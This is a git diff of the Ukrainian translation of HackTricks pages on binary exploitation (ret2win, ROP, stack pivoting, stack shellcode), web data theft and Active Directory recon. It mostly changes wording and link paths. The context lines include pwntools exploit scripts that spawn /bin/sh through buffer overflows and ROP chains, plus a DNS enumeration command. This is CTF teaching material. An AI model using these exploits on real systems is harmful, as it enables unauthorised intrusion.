- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Це може ускладнити пошук інструкції для стрибка до esp або будь-якого іншого регістра.
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Це може ускладнити пошук інструкції для стрибка до esp або будь-якого іншого регістра.
|
||||
|
||||
## Посилання
|
||||
|
||||
|
@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Основна інформація
|
||||
## Basic Information
|
||||
|
||||
**Ret2win** завдання є популярною категорією в **Capture The Flag (CTF)** змаганнях, особливо в завданнях, що стосуються **binary exploitation**. Мета полягає в тому, щоб використати вразливість у даному бінарному файлі для виконання конкретної, не викликаної функції в бінарному файлі, яка часто називається чимось на кшталт `win`, `flag` тощо. Ця функція, коли її виконують, зазвичай виводить прапор або повідомлення про успіх. Завдання зазвичай передбачає перезаписування **адреси повернення** в стеку, щоб відвести потік виконання до бажаної функції. Ось більш детальне пояснення з прикладами:
|
||||
|
||||
### C Приклад
|
||||
### C Example
|
||||
|
||||
Розглянемо просту C програму з вразливістю та функцією `win`, яку ми маємо намір викликати:
|
||||
```c
|
||||
@ -31,7 +31,7 @@ return 0;
|
||||
```sh
|
||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
- `-m32`: Скомпілювати програму як 32-бітний бінарний файл (це необов'язково, але поширено в CTF викликах).
|
||||
- `-m32`: Скомпілювати програму як 32-бітний бінарний файл (це необов'язково, але поширено в CTF завданнях).
|
||||
- `-fno-stack-protector`: Вимкнути захист від переповнень стеку.
|
||||
- `-z execstack`: Дозволити виконання коду в стеку.
|
||||
- `-no-pie`: Вимкнути Position Independent Executable, щоб адреса функції `win` не змінювалася.
|
||||
@ -39,7 +39,7 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
|
||||
### Python Exploit using Pwntools
|
||||
|
||||
Для експлойту ми використаємо **pwntools**, потужний CTF фреймворк для написання експлойтів. Скрипт експлойту створить payload для переповнення буфера та перезапису адреси повернення адресою функції `win`.
|
||||
Для експлойту ми використаємо **pwntools**, потужний фреймворк CTF для написання експлойтів. Скрипт експлойту створить payload для переповнення буфера та перезапису адреси повернення адресою функції `win`.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -65,12 +65,12 @@ objdump -d vulnerable | grep win
|
||||
```
|
||||
Ця команда покаже вам асемблер функції `win`, включаючи її початкову адресу. 
|
||||
|
||||
Скрипт на Python надсилає ретельно підготовлене повідомлення, яке, оброблене функцією `vulnerable_function`, переповнює буфер і перезаписує адресу повернення в стеку адресою `win`. Коли `vulnerable_function` повертається, замість повернення до `main` або виходу, він переходить до `win`, і повідомлення виводиться.
|
||||
Скрипт на Python надсилає ретельно підготовлене повідомлення, яке, оброблене функцією `vulnerable_function`, переповнює буфер і перезаписує адресу повернення в стеку адресою `win`. Коли `vulnerable_function` повертається, замість повернення до `main` або виходу, вона переходить до `win`, і повідомлення виводиться.
|
||||
|
||||
## Захист
|
||||
|
||||
- [**PIE**](../common-binary-protections-and-bypasses/pie/) **повинен бути вимкнений**, щоб адреса була надійною під час виконання, інакше адреса, де буде зберігатися функція, не завжди буде однаковою, і вам знадобиться якийсь leak, щоб зрозуміти, де завантажена функція win. У деяких випадках, коли функція, що викликає переповнення, є `read` або подібною, ви можете зробити **Часткове Перезаписування** 1 або 2 байтів, щоб змінити адресу повернення на функцію win. Через те, як працює ASLR, останні три шістнадцяткові нібли не випадкові, тому є **1/16 шанс** (1 нібл) отримати правильну адресу повернення.
|
||||
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) також повинні бути вимкнені, інакше скомпрометована адреса повернення EIP ніколи не буде виконана.
|
||||
- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **повинен бути вимкнений**, щоб адреса була надійною під час виконання, інакше адреса, де буде зберігатися функція, не завжди буде однаковою, і вам знадобиться якийсь leak, щоб з'ясувати, де завантажена функція win. У деяких випадках, коли функція, що викликає переповнення, є `read` або подібною, ви можете зробити **Часткове Перезаписування** 1 або 2 байтів, щоб змінити адресу повернення на функцію win. Через те, як працює ASLR, останні три шістнадцяткові нібли не рандомізовані, тому є **1/16 шанс** (1 нібл) отримати правильну адресу повернення.
|
||||
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html) також повинні бути вимкнені, інакше скомпрометована адреса повернення EIP ніколи не буде виконана.
|
||||
|
||||
## Інші приклади та посилання
|
||||
|
||||
@ -84,7 +84,7 @@ objdump -d vulnerable | grep win
|
||||
- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
|
||||
- 32 біти, без ASLR, подвійне мале переповнення, спочатку переповнити стек і збільшити розмір другого переповнення
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
|
||||
- 32 біт, relro, без канарки, nx, без pie, форматний рядок для перезапису адреси `fflush` функцією win (ret2win)
|
||||
- 32 біти, relro, без канарки, nx, без pie, форматний рядок для перезапису адреси `fflush` з функцією win (ret2win)
|
||||
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
|
||||
- 64 біти, relro, без канарки, nx, pie. Часткове перезаписування для виклику функції win (ret2win)
|
||||
|
||||
|
@ -8,7 +8,7 @@
|
||||
|
||||
### Як працює ROP
|
||||
|
||||
1. **Перехоплення потоку управління**: Спочатку зловмисник повинен перехопити потік управління програми, зазвичай експлуатуючи переповнення буфера, щоб перезаписати збережену адресу повернення в стеку.
|
||||
1. **Перехоплення потоку управління**: Спочатку зловмисник повинен перехопити потік управління програми, зазвичай експлуатуючи переповнення буфера для перезапису збереженої адреси повернення в стеку.
|
||||
2. **Поєднання gadgets**: Потім зловмисник обережно вибирає та поєднує gadgets для виконання бажаних дій. Це може включати налаштування аргументів для виклику функції, виклик функції (наприклад, `system("/bin/sh")`) та обробку будь-яких необхідних очищень або додаткових операцій.
|
||||
3. **Виконання payload**: Коли вразлива функція повертається, замість повернення до легітимного місця, вона починає виконувати ланцюг gadgets.
|
||||
|
||||
@ -37,7 +37,7 @@
|
||||
Використовуючи **pwntools**, ми готуємо стек для виконання ROP chain наступним чином, прагнучи виконати `system('/bin/sh')`, зверніть увагу, як ланцюг починається з:
|
||||
|
||||
1. Інструкції `ret` для вирівнювання (необов'язково)
|
||||
2. Адреси функції `system` (припускаючи, що ASLR вимкнено і libc відома, більше інформації в [**Ret2lib**](ret2lib/))
|
||||
2. Адреси функції `system` (припускаючи, що ASLR вимкнено і libc відома, більше інформації в [**Ret2lib**](ret2lib/index.html))
|
||||
3. Заповнювач для адреси повернення з `system()`
|
||||
4. Адреса рядка `"/bin/sh"` (параметр для функції system)
|
||||
```python
|
||||
@ -77,13 +77,13 @@ p.interactive()
|
||||
|
||||
### **x64 (64-bit) Calling conventions**
|
||||
|
||||
- Використовує **System V AMD64 ABI** конвенцію виклику на Unix-подібних системах, де **перші шість цілочисельних або вказівних аргументів передаються в регістри `RDI`, `RSI`, `RDX`, `RCX`, `R8` та `R9`**. Додаткові аргументи передаються на стек. Значення повернення розміщується в `RAX`.
|
||||
- **Windows x64** конвенція виклику використовує `RCX`, `RDX`, `R8` та `R9` для перших чотирьох цілочисельних або вказівних аргументів, з додатковими аргументами, що передаються на стек. Значення повернення розміщується в `RAX`.
|
||||
- Використовує **System V AMD64 ABI** викликову конвенцію на Unix-подібних системах, де **перші шість цілочисельних або вказівних аргументів передаються в регістри `RDI`, `RSI`, `RDX`, `RCX`, `R8` та `R9`**. Додаткові аргументи передаються в стек. Значення повернення розміщується в `RAX`.
|
||||
- **Windows x64** викликна конвенція використовує `RCX`, `RDX`, `R8` та `R9` для перших чотирьох цілочисельних або вказівних аргументів, з додатковими аргументами, що передаються в стек. Значення повернення розміщується в `RAX`.
|
||||
- **Регістри**: 64-бітні регістри включають `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` та `R8` до `R15`.
|
||||
|
||||
#### **Finding Gadgets**
|
||||
|
||||
Для нашої мети зосередимося на гаджетах, які дозволять нам встановити регістр **RDI** (щоб передати рядок **"/bin/sh"** як аргумент для **system()**) і потім викликати функцію **system()**. Ми припустимо, що ми ідентифікували наступні гаджети:
|
||||
Для нашої мети зосередимося на гаджетах, які дозволять нам встановити регістр **RDI** (щоб передати рядок **"/bin/sh"** як аргумент для **system()**) і потім викликати функцію **system()**. Припустимо, ми визначили наступні гаджети:
|
||||
|
||||
- **pop rdi; ret**: Витягує верхнє значення зі стека в **RDI** і потім повертається. Важливо для встановлення нашого аргументу для **system()**.
|
||||
- **ret**: Просте повернення, корисне для вирівнювання стека в деяких сценаріях.
|
||||
@ -92,7 +92,7 @@ p.interactive()
|
||||
|
||||
### **ROP Chain**
|
||||
|
||||
Нижче наведено приклад використання **pwntools** для налаштування та виконання ROP ланцюга, що має на меті виконати **system('/bin/sh')** на **x64**:
|
||||
Нижче наведено приклад використання **pwntools** для налаштування та виконання ROP-ланцюга, що має на меті виконати **system('/bin/sh')** на **x64**:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -129,13 +129,13 @@ p.interactive()
|
||||
```
|
||||
У цьому прикладі:
|
||||
|
||||
- Ми використовуємо гаджет **`pop rdi; ret`**, щоб встановити **`RDI`** на адресу **`"/bin/sh"`**.
|
||||
- Ми використовуємо гаджет **`pop rdi; ret`** для встановлення **`RDI`** на адресу **`"/bin/sh"`**.
|
||||
- Ми безпосередньо переходимо до **`system()`** після встановлення **`RDI`**, з адресою **system()** в ланцюгу.
|
||||
- **`ret_gadget`** використовується для вирівнювання, якщо цільове середовище цього вимагає, що є більш поширеним у **x64** для забезпечення правильного вирівнювання стеку перед викликом функцій.
|
||||
|
||||
### Вирівнювання стеку
|
||||
|
||||
**x86-64 ABI** забезпечує, щоб **стек був вирівняний на 16 байт**, коли виконується **інструкція виклику**. **LIBC**, для оптимізації продуктивності, **використовує інструкції SSE** (як **movaps**), які вимагають цього вирівнювання. Якщо стек не вирівняний належним чином (тобто **RSP** не є кратним 16), виклики функцій, таких як **system**, зазнають невдачі в **ROP-ланцюзі**. Щоб виправити це, просто додайте **ret gadget** перед викликом **system** у вашому ROP-ланцюзі.
|
||||
**x86-64 ABI** забезпечує, що **стек вирівняний на 16 байт** під час виконання **інструкції виклику**. **LIBC**, для оптимізації продуктивності, **використовує інструкції SSE** (як **movaps**), які вимагають цього вирівнювання. Якщо стек не вирівняний належним чином (тобто **RSP** не є кратним 16), виклики функцій, таких як **system**, зазнають невдачі в **ROP-ланцюзі**. Щоб виправити це, просто додайте **ret gadget** перед викликом **system** у вашому ROP-ланцюзі.
|
||||
|
||||
## Основна різниця між x86 та x64
|
||||
|
||||
@ -144,8 +144,8 @@ p.interactive()
|
||||
|
||||
## Захисти
|
||||
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/)
|
||||
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/)
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)
|
||||
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html)
|
||||
|
||||
## Інші приклади та посилання
|
||||
|
||||
@ -155,13 +155,13 @@ p.interactive()
|
||||
|
||||
Зверніть увагу, що ROP - це лише техніка для виконання довільного коду. На основі ROP було розроблено багато технік Ret2XXX:
|
||||
|
||||
- **Ret2lib**: Використовуйте ROP для виклику довільних функцій з завантаженої бібліотеки з довільними параметрами (зазвичай щось на зразок `system('/bin/sh')`.
|
||||
- **Ret2lib**: Використовуйте ROP для виклику довільних функцій з завантаженої бібліотеки з довільними параметрами (зазвичай щось на кшталт `system('/bin/sh')`.
|
||||
|
||||
{{#ref}}
|
||||
ret2lib/
|
||||
{{#endref}}
|
||||
|
||||
- **Ret2Syscall**: Використовуйте ROP для підготовки виклику до системного виклику, наприклад, `execve`, і змусьте його виконати довільні команди.
|
||||
- **Ret2Syscall**: Використовуйте ROP для підготовки виклику системного виклику, наприклад, `execve`, і змусьте його виконати довільні команди.
|
||||
|
||||
{{#ref}}
|
||||
rop-syscall-execv.md
|
||||
|
@ -18,42 +18,42 @@ ret
|
||||
|
||||
Ця техніка особливо корисна, коли ви можете **змінити регістр EBP, але не маєте прямого способу змінити регістр EIP**. Вона використовує поведінку функцій, коли вони закінчують виконання.
|
||||
|
||||
Якщо під час виконання `fvuln` вам вдається ввести **фальшивий EBP** у стек, який вказує на область пам'яті, де знаходиться адреса вашого shellcode (плюс 4 байти для врахування операції `pop`), ви можете непрямо контролювати EIP. Коли `fvuln` повертається, ESP встановлюється на це створене місце, а наступна операція `pop` зменшує ESP на 4, **ефективно вказуючи на адресу, збережену атакуючим там.**\
|
||||
Зверніть увагу, що вам **потрібно знати 2 адреси**: ту, куди ESP буде йти, куди вам потрібно буде записати адресу, на яку вказує ESP.
|
||||
Якщо під час виконання `fvuln` вам вдасться впровадити **фальшивий EBP** у стек, який вказує на область пам'яті, де знаходиться адреса вашого shellcode (плюс 4 байти для врахування операції `pop`), ви можете непрямо контролювати EIP. Коли `fvuln` повертається, ESP встановлюється на це створене місце, а наступна операція `pop` зменшує ESP на 4, **ефективно вказуючи на адресу, збережену атакуючим там.**\
|
||||
Зверніть увагу, що вам **потрібно знати 2 адреси**: ту, куди ESP буде йти, і ту, куди вам потрібно буде записати адресу, на яку вказує ESP.
|
||||
|
||||
#### Конструкція експлойту
|
||||
|
||||
Спочатку вам потрібно знати **адресу, куди ви можете записати довільні дані / адреси**. ESP буде вказувати сюди і **виконає перший `ret`**.
|
||||
Спочатку вам потрібно знати **адресу, куди ви можете записувати довільні дані / адреси**. ESP буде вказувати сюди і **виконає перший `ret`**.
|
||||
|
||||
Потім вам потрібно знати адресу, яку використовує `ret`, що **виконає довільний код**. Ви можете використовувати:
|
||||
|
||||
- Дійсну [**ONE_GADGET**](https://github.com/david942j/one_gadget) адресу.
|
||||
- Адресу **`system()`**, за якою йдуть **4 байти сміття** та адреса `"/bin/sh"` (x86 біт).
|
||||
- Адресу **гаджета `jump esp;`** ([**ret2esp**](ret2esp-ret2reg.md)), за яким йде **shellcode** для виконання.
|
||||
- Адресу **гаджета `jump esp;`** ([**ret2esp**](ret2esp-ret2reg.md)), за якою йде **shellcode** для виконання.
|
||||
- Деяку [**ROP**](rop-return-oriented-programing.md) ланцюг
|
||||
|
||||
Пам'ятайте, що перед будь-якими з цих адрес у контрольованій частині пам'яті повинно бути **`4` байти** через **`pop`** частину інструкції `leave`. Було б можливо зловживати цими 4B, щоб встановити **другий фальшивий EBP** і продовжити контролювати виконання.
|
||||
Пам'ятайте, що перед будь-якою з цих адрес у контрольованій частині пам'яті повинно бути **`4` байти** через **`pop`** частину інструкції `leave`. Було б можливим зловживати цими 4B, щоб встановити **другий фальшивий EBP** і продовжити контролювати виконання.
|
||||
|
||||
#### Off-By-One Exploit
|
||||
|
||||
Існує специфічний варіант цієї техніки, відомий як "Off-By-One Exploit". Він використовується, коли ви можете **змінити лише найменш значущий байт EBP**. У такому випадку, місце в пам'яті, що зберігає адресу для переходу з **`ret`**, повинно ділити перші три байти з EBP, що дозволяє подібну маніпуляцію з більш обмеженими умовами.
|
||||
Існує специфічний варіант цієї техніки, відомий як "Off-By-One Exploit". Він використовується, коли ви можете **змінити лише найменш значущий байт EBP**. У такому випадку, місце в пам'яті, що зберігає адресу для переходу з **`ret`**, повинно ділити перші три байти з EBP, що дозволяє подібну маніпуляцію за більш обмежених умов.
|
||||
|
||||
### **EBP Chaining**
|
||||
|
||||
Отже, помістивши контрольовану адресу в запис `EBP` стека та адресу для `leave; ret` в `EIP`, можливо **перемістити `ESP` на контрольовану адресу `EBP` зі стека**.
|
||||
Отже, помістивши контрольовану адресу в запис `EBP` стека та адресу для `leave; ret` в `EIP`, можливо **перемістити `ESP` до контрольованої адреси `EBP` зі стека**.
|
||||
|
||||
Тепер **`ESP`** контролюється, вказуючи на бажану адресу, а наступна інструкція для виконання - це `RET`. Щоб зловживати цим, можливо помістити в контрольоване місце ESP наступне:
|
||||
|
||||
- **`&(next fake EBP)`** -> Завантажити новий EBP через `pop ebp` з інструкції `leave`
|
||||
- **`system()`** -> Викликаний через `ret`
|
||||
- **`&(leave;ret)`** -> Викликаний після завершення системи, він перемістить ESP на фальшивий EBP і почне знову
|
||||
- **`&(leave;ret)`** -> Викликаний після завершення системи, він перемістить ESP до фальшивого EBP і почне знову
|
||||
- **`&("/bin/sh")`**-> Параметр для `system`
|
||||
|
||||
В основному, таким чином можливо з'єднати кілька фальшивих EBP для контролю потоку програми.
|
||||
|
||||
Це схоже на [ret2lib](ret2lib/), але складніше без очевидної вигоди, але може бути цікавим у деяких крайніх випадках.
|
||||
Це схоже на [ret2lib](ret2lib/index.html), але складніше без очевидної вигоди, але може бути цікавим у деяких крайніх випадках.
|
||||
|
||||
Більше того, ось вам [**приклад виклику**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave), який використовує цю техніку з **витоком стека** для виклику виграшної функції. Це фінальний payload зі сторінки:
|
||||
Більше того, тут у вас є [**приклад виклику**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave), який використовує цю техніку з **витоком стека** для виклику виграшної функції. Це фінальний payload зі сторінки:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -8,7 +8,7 @@
|
||||
|
||||
### C Example: A Vulnerable Program
|
||||
|
||||
Давайте почнемо з простого прикладу вразливої програми на C:
|
||||
Let's start with a simple example of a vulnerable C program:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
@ -35,7 +35,7 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
- `-fno-stack-protector`: Вимикає захист стеку.
|
||||
- `-z execstack`: Робить стек виконуваним, що необхідно для виконання shellcode, збереженого в стеці.
|
||||
- `-no-pie`: Вимикає Position Independent Executable, що полегшує прогнозування адреси пам'яті, де буде розташований наш shellcode.
|
||||
- `-m32`: Компілірує програму як 32-бітний виконуваний файл, що часто використовується для спрощення розробки експлойтів.
|
||||
- `-m32`: Компілірує програму як 32-бітний виконуваний файл, часто використовується для спрощення розробки експлойтів.
|
||||
|
||||
### Python Exploit using Pwntools
|
||||
|
||||
@ -66,24 +66,24 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
Цей скрипт створює корисне навантаження, що складається з **NOP слайду**, **shellcode**, а потім перезаписує **EIP** адресою, що вказує на NOP слайд, забезпечуючи виконання shellcode.
|
||||
Цей скрипт створює корисне навантаження, що складається з **NOP слайду**, **shellcode** і потім перезаписує **EIP** адресою, що вказує на NOP слайд, забезпечуючи виконання shellcode.
|
||||
|
||||
**NOP слайд** (`asm('nop')`) використовується для збільшення ймовірності того, що виконання "зсуватиметься" в наш shellcode незалежно від точної адреси. Налаштуйте аргумент `p32()` на початкову адресу вашого буфера плюс зсув, щоб потрапити в NOP слайд.
|
||||
**NOP слайд** (`asm('nop')`) використовується для збільшення ймовірності того, що виконання "зсуватиметься" до нашого shellcode, незалежно від точної адреси. Налаштуйте аргумент `p32()` на початкову адресу вашого буфера плюс зсув, щоб потрапити в NOP слайд.
|
||||
|
||||
## Захист
|
||||
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **повинен бути вимкнений** для того, щоб адреса була надійною під час виконання, інакше адреса, де буде зберігатися функція, не завжди буде однаковою, і вам знадобиться якийсь leak, щоб зрозуміти, де завантажена функція win.
|
||||
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) також повинні бути вимкнені, інакше скомпрометована адреса повернення EIP ніколи не буде виконана.
|
||||
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) **захист** стеку запобігатиме виконанню shellcode всередині стеку, оскільки ця область не буде виконуваною.
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **повинен бути вимкнений** для того, щоб адреса була надійною при виконаннях, інакше адреса, де буде зберігатися функція, не завжди буде однаковою, і вам знадобиться якийсь leak, щоб зрозуміти, де завантажена функція win.
|
||||
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html) також повинні бути вимкнені, інакше скомпрометована адреса повернення EIP ніколи не буде виконана.
|
||||
- Захист **NX** (../common-binary-protections-and-bypasses/no-exec-nx.md) **стека** запобігатиме виконанню shellcode всередині стека, оскільки ця область не буде виконуваною.
|
||||
|
||||
## Інші приклади та посилання
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
|
||||
- 64 біт, ASLR з leak адреси стеку, записати shellcode і перейти до нього
|
||||
- 64 біт, ASLR з leak адреси стека, записати shellcode і перейти до нього
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
|
||||
- 32 біт, ASLR з leak стеку, записати shellcode і перейти до нього
|
||||
- 32 біт, ASLR з leak стека, записати shellcode і перейти до нього
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
|
||||
- 32 біт, ASLR з leak стеку, порівняння для запобігання виклику exit(), перезаписати змінну значенням і записати shellcode і перейти до нього
|
||||
- 32 біт, ASLR з leak стека, порівняння для запобігання виклику exit(), перезаписати змінну значенням і записати shellcode і перейти до нього
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -1,13 +1,13 @@
|
||||
# Викрадення розкриття чутливої інформації з веб-сторінки
|
||||
# Викрадення розкриття чутливої інформації з вебу
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
Якщо в якийсь момент ви знайдете **веб-сторінку, яка надає вам чутливу інформацію на основі вашої сесії**: можливо, вона відображає куки, або друкує деталі кредитної картки або будь-яку іншу чутливу інформацію, ви можете спробувати її вкрасти.\
|
||||
Якщо ви в якийсь момент знайдете **веб-сторінку, яка надає вам чутливу інформацію на основі вашої сесії**: можливо, вона відображає куки, або друкує деталі кредитної картки чи будь-яку іншу чутливу інформацію, ви можете спробувати її вкрасти.\
|
||||
Ось основні способи, які ви можете спробувати для досягнення цього:
|
||||
|
||||
- [**CORS обход**](pentesting-web/cors-bypass.md): Якщо ви зможете обійти заголовки CORS, ви зможете вкрасти інформацію, виконуючи Ajax-запит на шкідливу сторінку.
|
||||
- [**XSS**](pentesting-web/xss-cross-site-scripting/): Якщо ви знайдете вразливість XSS на сторінці, ви зможете зловживати нею для викрадення інформації.
|
||||
- [**Завислий розмітка**](pentesting-web/dangling-markup-html-scriptless-injection/): Якщо ви не можете ввести XSS-теги, ви все ще можете вкрасти інформацію, використовуючи інші звичайні HTML-теги.
|
||||
- [**XSS**](pentesting-web/xss-cross-site-scripting/index.html): Якщо ви знайдете вразливість XSS на сторінці, ви зможете зловживати нею для викрадення інформації.
|
||||
- [**Завислий розмітка**](pentesting-web/dangling-markup-html-scriptless-injection/index.html): Якщо ви не можете ввести XSS-теги, ви все ще можете вкрасти інформацію, використовуючи інші звичайні HTML-теги.
|
||||
- [**Clickjaking**](pentesting-web/clickjacking.md): Якщо немає захисту від цієї атаки, ви можете обманути користувача, щоб він надіслав вам чутливі дані (приклад [тут](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
@ -1,4 +1,4 @@
|
||||
# Викрадення розкриття чутливої інформації з веб-сторінки
|
||||
# Викрадення розкриття чутливої інформації з вебу
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,8 +6,8 @@
|
||||
Ось основні способи, які ви можете спробувати для досягнення цього:
|
||||
|
||||
- [**CORS обход**](../pentesting-web/cors-bypass.md): Якщо ви зможете обійти заголовки CORS, ви зможете вкрасти інформацію, виконуючи Ajax-запит на шкідливу сторінку.
|
||||
- [**XSS**](../pentesting-web/xss-cross-site-scripting/): Якщо ви знайдете вразливість XSS на сторінці, ви зможете зловживати нею для викрадення інформації.
|
||||
- [**Завислий розмітка**](../pentesting-web/dangling-markup-html-scriptless-injection/): Якщо ви не можете ввести XSS-теги, ви все ще можете вкрасти інформацію, використовуючи інші звичайні HTML-теги.
|
||||
- [**XSS**](../pentesting-web/xss-cross-site-scripting/index.html): Якщо ви знайдете вразливість XSS на сторінці, ви зможете зловживати нею для викрадення інформації.
|
||||
- [**Залишковий розмітка**](../pentesting-web/dangling-markup-html-scriptless-injection/index.html): Якщо ви не можете ввести теги XSS, ви все ще можете вкрасти інформацію, використовуючи інші звичайні HTML-теги.
|
||||
- [**Clickjaking**](../pentesting-web/clickjacking.md): Якщо немає захисту від цієї атаки, ви можете обманути користувача, щоб він надіслав вам чутливі дані (приклад [тут](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
**Active Directory** служить основною технологією, що дозволяє **мережевим адміністраторам** ефективно створювати та керувати **доменами**, **користувачами** та **об'єктами** в межах мережі. Вона спроектована для масштабування, полегшуючи організацію великої кількості користувачів у керовані **групи** та **підгрупи**, контролюючи **права доступу** на різних рівнях.
|
||||
|
||||
Структура **Active Directory** складається з трьох основних рівнів: **домени**, **дерева** та **ліси**. **Домен** охоплює колекцію об'єктів, таких як **користувачі** або **пристрої**, які ділять спільну базу даних. **Дерева** — це групи цих доменів, пов'язані спільною структурою, а **ліс** представляє колекцію кількох дерев, взаємопов'язаних через **довірчі відносини**, формуючи найвищий рівень організаційної структури. Конкретні **права доступу** та **права на зв'язок** можуть бути призначені на кожному з цих рівнів.
|
||||
Структура **Active Directory** складається з трьох основних рівнів: **домени**, **дерева** та **ліси**. **Домен** охоплює колекцію об'єктів, таких як **користувачі** або **пристрої**, які ділять спільну базу даних. **Дерева** — це групи цих доменів, пов'язані спільною структурою, а **ліс** представляє колекцію кількох дерев, взаємопов'язаних через **довірчі відносини**, формуючи найвищий рівень організаційної структури. Специфічні **права доступу** та **комунікації** можуть бути призначені на кожному з цих рівнів.
|
||||
|
||||
Ключові концепції в **Active Directory** включають:
|
||||
|
||||
@ -16,16 +16,16 @@
|
||||
4. **Tree** – Групування доменів, які ділять спільний кореневий домен.
|
||||
5. **Forest** – Вершина організаційної структури в Active Directory, що складається з кількох дерев з **довірчими відносинами** між ними.
|
||||
|
||||
**Active Directory Domain Services (AD DS)** охоплює ряд послуг, критично важливих для централізованого управління та зв'язку в межах мережі. Ці послуги включають:
|
||||
**Active Directory Domain Services (AD DS)** охоплює ряд послуг, критично важливих для централізованого управління та комунікації в межах мережі. Ці послуги включають:
|
||||
|
||||
1. **Domain Services** – Централізує зберігання даних і керує взаємодією між **користувачами** та **доменами**, включаючи функції **автентифікації** та **пошуку**.
|
||||
2. **Certificate Services** – Контролює створення, розподіл та управління безпечними **цифровими сертифікатами**.
|
||||
3. **Lightweight Directory Services** – Підтримує програми, що використовують каталог, через **LDAP протокол**.
|
||||
4. **Directory Federation Services** – Надає можливості **одного входу** для автентифікації користувачів через кілька веб-додатків в одній сесії.
|
||||
5. **Rights Management** – Допомагає захистити авторські матеріали, регулюючи їх несанкціоноване розповсюдження та використання.
|
||||
5. **Rights Management** – Допомагає захистити авторські матеріали, регулюючи їх несанкціонований розподіл та використання.
|
||||
6. **DNS Service** – Критично важливий для розв'язання **доменних імен**.
|
||||
|
||||
Для більш детального пояснення перегляньте: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
|
||||
Для більш детального пояснення перегляньте: [**TechTerms - Визначення Active Directory**](https://techterms.com/definition/active_directory)
|
||||
|
||||
### **Kerberos Authentication**
|
||||
|
||||
@ -34,7 +34,7 @@
|
||||
|
||||
## Cheat Sheet
|
||||
|
||||
Ви можете зайти на [https://wadcoms.github.io/](https://wadcoms.github.io), щоб швидко переглянути команди, які ви можете виконати для перерахунку/експлуатації AD.
|
||||
Ви можете зайти на [https://wadcoms.github.io/](https://wadcoms.github.io), щоб швидко переглянути, які команди ви можете виконати для перерахунку/експлуатації AD.
|
||||
|
||||
## Recon Active Directory (No creds/sessions)
|
||||
|
||||
@ -44,7 +44,7 @@
|
||||
- Сканувати мережу, знаходити машини та відкриті порти та намагатися **експлуатувати вразливості** або **витягувати облікові дані** з них (наприклад, [принтери можуть бути дуже цікавими цілями](ad-information-in-printers.md)).
|
||||
- Перерахунок DNS може надати інформацію про ключові сервери в домені, такі як веб, принтери, спільні ресурси, vpn, медіа тощо.
|
||||
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
|
||||
- Ознайомтеся з Загальною [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md), щоб знайти більше інформації про те, як це зробити.
|
||||
